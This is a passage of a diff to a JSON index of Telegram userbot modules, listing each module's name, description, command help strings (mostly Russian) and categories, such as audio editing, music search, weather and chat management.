"doc": "Используй .whois <@ или реплай>; ничего" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/Sender.py": { + "name": "SenderMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "sndcmd": ".snd <канал/чат/id> <reply>\nОтправить сообщение в чат/канал(без авторства)" + } + ], + "new_commands": [ + { + "snd": { + "ru_doc": null, + "en_doc": null, + "doc": ".snd <канал/чат/id> <reply>\nОтправить сообщение в чат/канал(без авторства)" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "SekaiYoneya/Friendly-telegram/x0-Uploader.py": { + "name": "x0Mod", + "description": "Uploader", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "x0cmd": "" + } + ], + "new_commands": [ + { + "x0": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "SekaiYoneya/Friendly-telegram/AudioConverter.py": { + "name": "AudioConverterMod", + "description": "Конвертирование в разные форматы", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tovoicecmd": ".tovoice <reply to audio> \nСконвертировать аудио в войс " + }, + { + "toformatcmd": ".toformat [format] <reply to audio> \n   Сконвертировать аудио/видео/войс в нужный формат \nПоддерживаются mp3, m4a, ogg, mpeg, wav, oga " + } + ], + "new_commands": [ + { + "tovoice": { + "ru_doc": null, + "en_doc": null, + "doc": ".tovoice <reply to audio> \nСконвертировать аудио в войс " + } + }, + { + "toformat": { + "ru_doc": null, + "en_doc": null, + "doc": ".toformat [format] <reply to audio> \n   Сконвертировать аудио/видео/войс в нужный формат \nПоддерживаются mp3, m4a, ogg, mpeg, wav, oga " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/Pinger.py": { + "name": "PingerMod", + "description": "более точный пинг", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pingcmd": "пингует" + } + ], + "new_commands": [ + { + "ping": { + "ru_doc": null, + "en_doc": null, + "doc": "пингует" + } + } + ], + "category": [ + "Tools", + "Networking" + ] + }, + "SekaiYoneya/Friendly-telegram/Online.py": { + "name": "EternalOnlineMod", + "description": "Вечный онлайн, который будет читать сообщения в чатах.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "onlinecmd": "Включить вечный онлайн" + } + ], + "new_commands": [ + { + "online": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить вечный онлайн" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/RenameCont.py": { + "name": "RenameMod", + "description": "Переиминовать или добавить в контакт.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "renamecmd": "" + } + ], + "new_commands": [ + { + "rename": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/Leo.py": { + "name": "leomatchMod", + "description": "Леонардо Дайвинчик", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "dizcmd": "Дизлайкнуть пользователь." + }, + { + "likecmd": "Лайкнуть пользователь." + }, + { + "spackcmd": "Не нужен мне ваш стикерпак." + }, + { + "ttcmd": "Не нужен мне ваш тик ток." + }, + { + "unafkcmd": "Выйти из АФК и смотреть анкеты." + } + ], + "new_commands": [ + { + "diz": { + "ru_doc": null, + "en_doc": null, + "doc": "Дизлайкнуть пользователь." + } + }, + { + "like": { + "ru_doc": null, + "en_doc": null, + "doc": "Лайкнуть пользователь." + } + }, + { + "spack": { + "ru_doc": null, + "en_doc": null, + "doc": "Не нужен мне ваш стикерпак." + } + }, + { + "tt": { + "ru_doc": null, + "en_doc": null, + "doc": "Не нужен мне ваш тик ток." + } + }, + { + "unafk": { + "ru_doc": null, + "en_doc": null, + "doc": "Выйти из АФК и смотреть анкеты." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/Frazes.py": { + "name": "FrazesMod", + "description": "Госу, пикапы, подкаты.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "gosucmd": "Выебать чью-то мамку" + }, + { + "pikapcmd": "Пикап" + }, + { + "podkatcmd": "Подкат" + }, + { + "ayfcmd": "АУФ!!!" + } + ], + "new_commands": [ + { + "gosu": { + "ru_doc": null, + "en_doc": null, + "doc": "Выебать чью-то мамку" + } + }, + { + "pikap": { + "ru_doc": null, + "en_doc": null, + "doc": "Пикап" + } + }, + { + "podkat": { + "ru_doc": null, + "en_doc": null, + "doc": "Подкат" + } + }, + { + "ayf": { + "ru_doc": null, + "en_doc": null, + "doc": "АУФ!!!" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "SekaiYoneya/Friendly-telegram/MyRep.py": { + "name": "MyRepMod", + "description": "Модуль с вашей репутацией", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "repcmd": "Включить режим репутаций." + }, + { + "myrepcmd": "Посмотреть свою репутацию. Используй: .myrep clear (очистка репутации)." + } + ], + "new_commands": [ + { + "rep": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить режим репутаций." + } + }, + { + "myrep": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть свою репутацию. Используй: .myrep clear (очистка репутации)." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/Anti-PM.py": { + "name": "AntiPMMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pmcmd": "Используй: .pm : чтобы включить/отключить авто ответ на личные сообщения." + }, + { + "allowcmd": "Используй: .allow чтобы разрешить этому пользователю писать вам в личку." + }, + { + "denycmd": "Используй: .deny чтобы запретить этому пользователю писать вам в личку." + }, + { + "allowedcmd": "Используй: .allowed : чтобы посмотреть список пользователей которым вы разрешили писать в личку." + }, + { + "blockcmd": "Используй: .block чтобы заблокировать этого пользователя." + }, + { + "unblockcmd": "Используй: .unblock чтобы разблокировать этого пользователя." + }, + { + "addcontcmd": "Используй: .addcont чтобы добавить пользователя в свои контакты." + }, + { + "delcontcmd": "Используй: .delcont чтобы удалить пользователя из своих контактов." + }, + { + "renamecmd": "" + } + ], + "new_commands": [ + { + "pm": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .pm : чтобы включить/отключить авто ответ на личные сообщения." + } + }, + { + "allow": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .allow чтобы разрешить этому пользователю писать вам в личку." + } + }, + { + "deny": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .deny чтобы запретить этому пользователю писать вам в личку." + } + }, + { + "allowed": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .allowed : чтобы посмотреть список пользователей которым вы разрешили писать в личку." + } + }, + { + "block": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .block чтобы заблокировать этого пользователя." + } + }, + { + "unblock": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .unblock чтобы разблокировать этого пользователя." + } + }, + { + "addcont": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .addcont чтобы добавить пользователя в свои контакты." + } + }, + { + "delcont": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .delcont чтобы удалить пользователя из своих контактов." + } + }, + { + "rename": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "SekaiYoneya/Friendly-telegram/SearchMusic.py": { + "name": "SearchMusicMod", + "description": "Модуль SearchMusic - поиск музыки \nРаботает через бота @lybot ", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "smcmd": "Используй: .sm «название» чтобы найти музыку по названию." + } + ], + "new_commands": [ + { + "sm": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .sm «название» чтобы найти музыку по названию." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/WelcomeLeft.py": { + "name": "WelcomeLeftMod", + "description": "Вход и выход пользователей в чате.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "welcomecmd": "Включить/выключить приветствие новых пользователей в чате. Используй: .welcome <clearall (по желанию)>." + }, + { + "setwelcomecmd": "Установить приветствие новых пользователей в чате.\nИспользуй: .setwelcome <текст (можно использовать {name}; {chat})>; ничего." + }, + { + "leftcmd": "Включить/выключить выход пользователей из чата. Используй: .left <clearall (по желанию)>." + }, + { + "setleftcmd": "Установить новое сообщение при выходе из чата пользователей.\nИспользуй: .setleft <текст (можно использовать {name}; {chat})>; ничего." + } + ], + "new_commands": [ + { + "welcome": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить приветствие новых пользователей в чате. Используй: .welcome <clearall (по желанию)>." + } + }, + { + "setwelcome": { + "ru_doc": null, + "en_doc": null, + "doc": "Установить приветствие новых пользователей в чате.\nИспользуй: .setwelcome <текст (можно использовать {name}; {chat})>; ничего." + } + }, + { + "left": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить выход пользователей из чата. Используй: .left <clearall (по желанию)>." + } + }, + { + "setleft": { + "ru_doc": null, + "en_doc": null, + "doc": "Установить новое сообщение при выходе из чата пользователей.\nИспользуй: .setleft <текст (можно использовать {name}; {chat})>; ничего." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "SekaiYoneya/Friendly-telegram/SendPhotos.py": { + "name": "GetPPMod", + "description": "Description for module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "potocmd": "Кинуть фоточки" + } + ], + "new_commands": [ + { + "poto": { + "ru_doc": null, + "en_doc": null, + "doc": "Кинуть фоточки" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "SekaiYoneya/Friendly-telegram/Quotes.py": { + "name": "QuotesMod", + "description": "Quotes a message", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "mquotecmd": "" + }, + { + "quotecmd": ".quote <reply> - quote a message" + }, + { + "fquotecmd": ".fquote @<username> <text> or <reply> <text> - fake quote" + } + ], + "new_commands": [ + { + "mquote": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "quote": { + "ru_doc": null, + "en_doc": null, + "doc": ".quote <reply> - quote a message" + } + }, + { + "fquote": { + "ru_doc": null, + "en_doc": null, + "doc": ".fquote @<username> <text> or <reply> <text> - fake quote" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/AudioEditor.py": { + "name": "AudioEditorMod", + "description": "Модуль для работы со звуком(???)", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "basscmd": ".bass [уровень bass'а 2-100 (Default 2)] <reply to audio>\nBassBoost" + }, + { + "fvcmd": ".fv [уровень шакала 2-100 (Default 25)] <reply to audio>\nШакалинг" + }, + { + "echoscmd": ".echos <reply to audio>\nЭхо эффект" + }, + { + "volupcmd": ".volup <reply to audio>\nУвеличить громкость на 10dB" + }, + { + "voldwcmd": ".voldw <reply to audio>\nУменьшить громкость на 10dB" + }, + { + "revscmd": ".revs <reply to audio>\nРазвернуть аудио" + }, + { + "repscmd": ".reps <reply to audio>\nПовторить аудио 2 раза подряд" + }, + { + "slowscmd": ".slows <reply to audio>\nЗамедлить аудио 0.5x" + }, + { + "fastscmd": ".fasts <reply to audio>\nУскорить аудио 1.5x" + }, + { + "rightscmd": ".rights <reply to audio>\nВесь звук в правый канал" + }, + { + "leftscmd": ".lefts <reply to audio>\nВесь звук в левый канал" + }, + { + "normscmd": ".norms <reply to audio>\nНормализовать звук (Из тихого - нормальный)" + }, + { + "byrobertscmd": ".byroberts <reply to audio>\nДобавить в конец аудио \"Directed by Robert B Weide\"" + } + ], + "new_commands": [ + { + "bass": { + "ru_doc": null, + "en_doc": null, + "doc": ".bass [уровень bass'а 2-100 (Default 2)] <reply to audio>\nBassBoost" + } + }, + { + "fv": { + "ru_doc": null, + "en_doc": null, + "doc": ".fv [уровень шакала 2-100 (Default 25)] <reply to audio>\nШакалинг" + } + }, + { + "echos": { + "ru_doc": null, + "en_doc": null, + "doc": ".echos <reply to audio>\nЭхо эффект" + } + }, + { + "volup": { + "ru_doc": null, + "en_doc": null, + "doc": ".volup <reply to audio>\nУвеличить громкость на 10dB" + } + }, + { + "voldw": { + "ru_doc": null, + "en_doc": null, + "doc": ".voldw <reply to audio>\nУменьшить громкость на 10dB" + } + }, + { + "revs": { + "ru_doc": null, + "en_doc": null, + "doc": ".revs <reply to audio>\nРазвернуть аудио" + } + }, + { + "reps": { + "ru_doc": null, + "en_doc": null, + "doc": ".reps <reply to audio>\nПовторить аудио 2 раза подряд" + } + }, + { + "slows": { + "ru_doc": null, + "en_doc": null, + "doc": ".slows <reply to audio>\nЗамедлить аудио 0.5x" + } + }, + { + "fasts": { + "ru_doc": null, + "en_doc": null, + "doc": ".fasts <reply to audio>\nУскорить аудио 1.5x" + } + }, + { + "rights": { + "ru_doc": null, + "en_doc": null, + "doc": ".rights <reply to audio>\nВесь звук в правый канал" + } + }, + { + "lefts": { + "ru_doc": null, + "en_doc": null, + "doc": ".lefts <reply to audio>\nВесь звук в левый канал" + } + }, + { + "norms": { + "ru_doc": null, + "en_doc": null, + "doc": ".norms <reply to audio>\nНормализовать звук (Из тихого - нормальный)" + } + }, + { + "byroberts": { + "ru_doc": null, + "en_doc": null, + "doc": ".byroberts <reply to audio>\nДобавить в конец аудио \"Directed by Robert B Weide\"" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "SekaiYoneya/Friendly-telegram/ChatModule.py": { + "name": "ChatMod", + "description": "Чат модули", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "useridcmd": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." + }, + { + "chatidcmd": "Команда .chatid показывает ID чата." + }, + { + "invitecmd": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." + }, + { + "leavecmd": "Используйте команду .leave, чтобы выйти из чата." + }, + { + "userscmd": "Команда .users <имя>; ничего выводит список всех пользователей в чате." + }, + { + "adminscmd": "Команда .admins показывает список всех админов в чате." + }, + { + "botscmd": "Команда .bots показывает список всех ботов в чате." + } + ], + "new_commands": [ + { + "userid": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." + } + }, + { + "chatid": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .chatid показывает ID чата." + } + }, + { + "invite": { + "ru_doc": null, + "en_doc": null, + "doc": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." + } + }, + { + "leave": { + "ru_doc": null, + "en_doc": null, + "doc": "Используйте команду .leave, чтобы выйти из чата." + } + }, + { + "users": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .users <имя>; ничего выводит список всех пользователей в чате." + } + }, + { + "admins": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .admins показывает список всех админов в чате." + } + }, + { + "bots": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .bots показывает список всех ботов в чате." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/ChatStats.py": { + "name": "ChatStatisticMod", + "description": "Статистика чата", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "statacmd": "" + } + ], + "new_commands": [ + { + "stata": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "SekaiYoneya/Friendly-telegram/SpamBot.py": { + "name": "SpamBotMod", + "description": "Показывает ваши ограничения.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "spambotcmd": "Смотреть статус ограничений." + }, + { + "thankbotcmd": "Написать 'хорошо, спасибо', когда есть инлайн." + }, + { + "okbotcmd": "Написать 'Ок', когда есть инлайн." + }, + { + "whatbotcmd": "Спросить, почему на Вас могли жаловаться, когда есть инлайн." + }, + { + "plsbotcmd": "Попросить снять Вам ограничения, когда есть инлайн." + }, + { + "ponspsbotcmd": "Написать 'Понятно, спасибо', когда есть инлайн." + }, + { + "infobotcmd": "Узнать больше о спаме, когда есть инлайн." + } + ], + "new_commands": [ + { + "spambot": { + "ru_doc": null, + "en_doc": null, + "doc": "Смотреть статус ограничений." + } + }, + { + "thankbot": { + "ru_doc": null, + "en_doc": null, + "doc": "Написать 'хорошо, спасибо', когда есть инлайн." + } + }, + { + "okbot": { + "ru_doc": null, + "en_doc": null, + "doc": "Написать 'Ок', когда есть инлайн." + } + }, + { + "whatbot": { + "ru_doc": null, + "en_doc": null, + "doc": "Спросить, почему на Вас могли жаловаться, когда есть инлайн." + } + }, + { + "plsbot": { + "ru_doc": null, + "en_doc": null, + "doc": "Попросить снять Вам ограничения, когда есть инлайн." + } + }, + { + "ponspsbot": { + "ru_doc": null, + "en_doc": null, + "doc": "Написать 'Понятно, спасибо', когда есть инлайн." + } + }, + { + "infobot": { + "ru_doc": null, + "en_doc": null, + "doc": "Узнать больше о спаме, когда есть инлайн." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/kickall-addusers.py": { + "name": "addmembersMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "adduserscmd": "Добавляет людей с чата в чат." + }, + { + "kickallcmd": "Удаляет всех пользователей из чата." + } + ], + "new_commands": [ + { + "addusers": { + "ru_doc": null, + "en_doc": null, + "doc": "Добавляет людей с чата в чат." + } + }, + { + "kickall": { + "ru_doc": null, + "en_doc": null, + "doc": "Удаляет всех пользователей из чата." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "MoriSummerz/ftg-mods/lyrics.py": { + "name": "LyricsMod", + "description": "Song lyrics from Genius", + "meta": { + "pic": "https://i.imgur.com/pViqDsI.png", + "banner": "https://i.imgur.com/AIjsMoV.jpg", + "developer": "@morisummermods" + }, + "commands": [ + { + "lyricscmd": "Get lyrics" + }, + { + "slyricscmd": "Get lyrics from your current Spotify playback (Needs SpotifyNow module)" + } + ], + "new_commands": [ + { + "lyrics": { + "ru_doc": null, + "en_doc": null, + "doc": "Get lyrics" + } + }, + { + "slyrics": { + "ru_doc": null, + "en_doc": null, + "doc": "Get lyrics from your current Spotify playback (Needs SpotifyNow module)" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "MoriSummerz/ftg-mods/chatgpt.py": { + "name": "ChatGPT", + "description": "ChatGPT AI API interaction", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/H1vPM6U.jpg", + "developer": "@morisummermods" + }, + "commands": [ + { + "gpt": "<question> - Ask a question <вопрос> - Задать вопрос" + } + ], + "new_commands": [ + { + "gpt": { + "ru_doc": "<вопрос> - Задать вопрос", + "en_doc": null, + "doc": "<question> - Ask a question" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "MoriSummerz/ftg-mods/magictext.py": { + "name": "MagicTextMod", + "description": "Magic Text generator", + "meta": { + "pic": "https://i.imgur.com/nmAXM3k.png", + "banner": "https://i.imgur.com/3joMFwC.jpg", + "developer": "@morisummermods" + }, + "commands": [ + { + "mtsetcmd": "Set the symbols for animation (Separated by space. Example: .mtset ✨ 💖)" + }, + { + "mtisetcmd": "Set the text for inline message (Example: .mtiset ❤️‍🔥 I want to tell you something...)" + }, + { + "mtcmd": "Send message with animating text" + }, + { + "mticmd": "Send inline message with animating text" + } + ], + "new_commands": [ + { + "mtset": { + "ru_doc": null, + "en_doc": null, + "doc": "Set the symbols for animation (Separated by space. Example: .mtset ✨ 💖)" + } + }, + { + "mtiset": { + "ru_doc": null, + "en_doc": null, + "doc": "Set the text for inline message (Example: .mtiset ❤️‍🔥 I want to tell you something...)" + } + }, + { + "mt": { + "ru_doc": null, + "en_doc": null, + "doc": "Send message with animating text" + } + }, + { + "mti": { + "ru_doc": null, + "en_doc": null, + "doc": "Send inline message with animating text" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "MoriSummerz/ftg-mods/TimeBot.py": { + "name": "TimerBotMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "timebcmd": "Пример ввода: .timeb <задержка появления текста в минутах> <текст>" + } + ], + "new_commands": [ + { + "timeb": { + "ru_doc": null, + "en_doc": null, + "doc": "Пример ввода: .timeb <задержка появления текста в минутах> <текст>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "MoriSummerz/ftg-mods/osu.py": { + "name": "OsuMod", + "description": "\"I'm an osu!bot that can do some things written by @morisummerzxc", + "meta": { + "pic": "https://i.imgur.com/fcHCrS2.png", + "banner": "https://i.imgur.com/fPWWFrL.jpg", + "developer": "@morisummermods" + }, + "commands": [ + { + "osumecmd": "Remember user's nickname for commands" + }, + { + "osutopcmd": "Get user's 5 best plays" + }, + { + "osuprofilecmd": "Get user's profile" + } + ], + "new_commands": [ + { + "osume": { + "ru_doc": null, + "en_doc": null, + "doc": "Remember user's nickname for commands" + } + }, + { + "osutop": { + "ru_doc": null, + "en_doc": null, + "doc": "Get user's 5 best plays" + } + }, + { + "osuprofile": { + "ru_doc": null, + "en_doc": null, + "doc": "Get user's profile" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "MoriSummerz/ftg-mods/airalert.py": { + "name": "AirAlertMod", + "description": "🇺🇦 Предупреждение о воздушной тревоге.\nНужно быть подписаным на @air_alert_ua и включены уведомления в вашем боте", + "meta": { + "pic": "https://i.imgur.com/AwKGCQe.png", + "banner": "https://i.imgur.com/V0Qhyi0.jpg", + "developer": "@morisummermods" + }, + "commands": [ + { + "alertforwardcmd": "Перенаправление предупреждений в другие чаты.\nДля добавления/удаления введите команду с ссылкой на чат.\nДля просмотра чатов введите команду без аргументов\nДля установки кастомной таблички введите .alertforward set <text>" + } + ], + "new_commands": [ + { + "alertforward": { + "ru_doc": null, + "en_doc": null, + "doc": "Перенаправление предупреждений в другие чаты.\nДля добавления/удаления введите команду с ссылкой на чат.\nДля просмотра чатов введите команду без аргументов\nДля установки кастомной таблички введите .alertforward set <text>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "MoriSummerz/ftg-mods/top20.py": { + "name": "Top20Mod", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@morisummermods" + }, + "commands": [ + { + "top20cmd": "" + } + ], + "new_commands": [ + { + "top20": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "MoriSummerz/ftg-mods/weather.py": { + "name": "WeatherMod", + "description": "Weather module", + "meta": { + "pic": "https://i.imgur.com/iwoskSb.png", + "banner": "https://i.imgur.com/JR6VqYF.png", + "developer": "@morisummermods" + }, + "commands": [ + { + "weathercitycmd": "Set default city for forecast" + }, + { + "weathercmd": "Current forecast for provided city" + } + ], + "new_commands": [ + { + "weathercity": { + "ru_doc": null, + "en_doc": null, + "doc": "Set default city for forecast" + } + }, + { + "weather": { + "ru_doc": null, + "en_doc": null, + "doc": "Current forecast for provided city" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "MoriSummerz/ftg-mods/picsaver.py": { + "name": "PicsaverMod", + "description": "\"Automatic Self-destructing media saver to Saved Messages", + "meta": { + "pic": null, + "banner": null, + "developer": "@morisummermods" + }, + "commands": [ + { + "spcmd": "Reply to self-destructing media to save" + }, + { + "pscmd": "Enable/disable automatic self-destructing media save" + } + ], + "new_commands": [ + { + "sp": { + "ru_doc": null, + "en_doc": null, + "doc": "Reply to self-destructing media to save" + } + }, + { + "ps": { + "ru_doc": null, + "en_doc": null, + "doc": "Enable/disable automatic self-destructing media save" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "MoriSummerz/ftg-mods/magictext-ftg.py": { + "name": "MagicTextMod", + "description": "Magic Text generator", + "meta": { + "pic": null, + "banner": null, + "developer": "@morisummermods" + }, + "commands": [ + { + "mtsetcmd": "Set the symbols for animation (Separated by space. Example: .mtset ✨ 💖)" + }, + { + "mtcmd": "Send message with animating text" + } + ], + "new_commands": [ + { + "mtset": { + "ru_doc": null, + "en_doc": null, + "doc": "Set the symbols for animation (Separated by space. Example: .mtset ✨ 💖)" + } + }, + { + "mt": { + "ru_doc": null, + "en_doc": null, + "doc": "Send message with animating text" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "unneyon/hikka-mods/warpigs.py": { + "name": "WarPigsMod", + "description": "Some auto-functions for your pig in @warpigs_bot", + "meta": { + "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/warpigs.png", + "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/warpigs.png", + "developer": "@kamekuro_hmods" + }, + "commands": [ + { + "afightcmd": "👉 Enable/disable autofight 👉 Включить/отключить автобой" + }, + { + "agrowcmd": "👉 Enable/disable autogrow 👉 Включить/отключить автокормёжку" + }, + { + "setnamecmd": "<name> 👉 Changes your pig's name <имя> 👉 Меняет имя вашего хряка" + } + ], + "new_commands": [ + { + "afight": { + "ru_doc": "👉 Включить/отключить автобой", + "en_doc": null, + "doc": "👉 Enable/disable autofight" + } + }, + { + "agrow": { + "ru_doc": "👉 Включить/отключить автокормёжку", + "en_doc": null, + "doc": "👉 Enable/disable autogrow" + } + }, + { + "setname": { + "ru_doc": "<имя> 👉 Меняет имя вашего хряка", + "en_doc": null, + "doc": "<name> 👉 Changes your pig's name" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "unneyon/hikka-mods/tidal.py": { + "name": "TidalMod", + "description": "API wrapper over TIDAL Hi-Fi music streaming service\nThanks @hikarimods for original module: t.me/hikarimods/764", + "meta": { + "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/tidal.png", + "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/tidal.png", + "developer": "@kamekuro_hmods" + }, + "commands": [ + { + "tlogincmd": "👉 Open OAuth window to login into TIDAL 👉 Авторизация в TIDAL" + }, + { + "tidalcmd": "<query> 👉 Search track in TIDAL <запрос> 👉 Поиск трека в TIDAL" + }, + { + "turlcmd": "<ID/url> 👉 Search track in TIDAL by ID or url <ID/ссылка> 👉 Поиск трека в TIDAL по ID или ссылке" + } + ], + "new_commands": [ + { + "tlogin": { + "ru_doc": "👉 Авторизация в TIDAL", + "en_doc": null, + "doc": "👉 Open OAuth window to login into TIDAL" + } + }, + { + "tidal": { + "ru_doc": "<запрос> 👉 Поиск трека в TIDAL", + "en_doc": null, + "doc": "<query> 👉 Search track in TIDAL" + } + }, + { + "turl": { + "ru_doc": "<ID/ссылка> 👉 Поиск трека в TIDAL по ID или ссылке", + "en_doc": null, + "doc": "<ID/url> 👉 Search track in TIDAL by ID or url" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "unneyon/hikka-mods/sdsaver.py": { + "name": "SDSaverMod", + "description": "The module for automatically saving self-destructing media", + "meta": { + "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/sdsaver.png", + "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/sdsaver.png", + "developer": "@kamekuro_hmods" + }, + "commands": [ + { + "sdmodecmd": "👉 Enable/Disable automatic saving self-destructing media 👉 Включить/Выключить автоматическое сохранение самоуничтожающихся медиа" + } + ], + "new_commands": [ + { + "sdmode": { + "ru_doc": "👉 Включить/Выключить автоматическое сохранение самоуничтожающихся медиа", + "en_doc": null, + "doc": "👉 Enable/Disable automatic saving self-destructing media" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "unneyon/hikka-mods/yamusic.py": { + "name": "YaMusicMod", + "description": "The module for Yandex.Music streaming service", + "meta": { + "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/yamusic.png", + "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/yamusic.png", + "developer": "@kamekuro_hmods" + }, + "commands": [ + { + "yguidecmd": "👉 Guide for obtaining a Yandex.Music token 👉 Гайд по получению токена Яндекс.Музыки" + }, + { + "ybiocmd": "👉 Enable/disable autobio 👉 Включить/выключить автобио" + }, + { + "ynowtcmd": "👉 Get now playing track (with track file) 👉 Получить трек, который играет сейчас (с файлом трека)" + }, + { + "ynowcmd": "👉 Get now playing track's banner 👉 Получить баннер трека, который играет сейчас" + }, + { + "ylikecmd": "👉 Like now playing track's banner 👉 Лайкнуть играющий сейчас трек" + }, + { + "yunlikecmd": "👉 Unlike now playing track 👉 Убрать лайк с играющего сейчас трека" + }, + { + "ydislikecmd": "👉 Dislike now playing track 👉 Дизлайкнуть играющий сейчас трек" + }, + { + "ylyricscmd": "👉 Get lyrics of the now playing track 👉 Получить текст играющего сейчас трека" + }, + { + "ysearchcmd": "<query> 👉 Search track in Yandex.Music <запрос> 👉 Поиск трека в Яндекс.Музыке" + } + ], + "new_commands": [ + { + "yguide": { + "ru_doc": "👉 Гайд по получению токена Яндекс.Музыки", + "en_doc": null, + "doc": "👉 Guide for obtaining a Yandex.Music token" + } + }, + { + "ybio": { + "ru_doc": "👉 Включить/выключить автобио", + "en_doc": null, + "doc": "👉 Enable/disable autobio" + } + }, + { + "ynowt": { + "ru_doc": "👉 Получить трек, который играет сейчас (с файлом трека)", + "en_doc": null, + "doc": "👉 Get now playing track (with track file)" + } + }, + { + "ynow": { + "ru_doc": "👉 Получить баннер трека, который играет сейчас", + "en_doc": null, + "doc": "👉 Get now playing track's banner" + } + }, + { + "ylike": { + "ru_doc": "👉 Лайкнуть играющий сейчас трек", + "en_doc": null, + "doc": "👉 Like now playing track's banner" + } + }, + { + "yunlike": { + "ru_doc": "👉 Убрать лайк с играющего сейчас трека", + "en_doc": null, + "doc": "👉 Unlike now playing track" + } + }, + { + "ydislike": { + "ru_doc": "👉 Дизлайкнуть играющий сейчас трек", + "en_doc": null, + "doc": 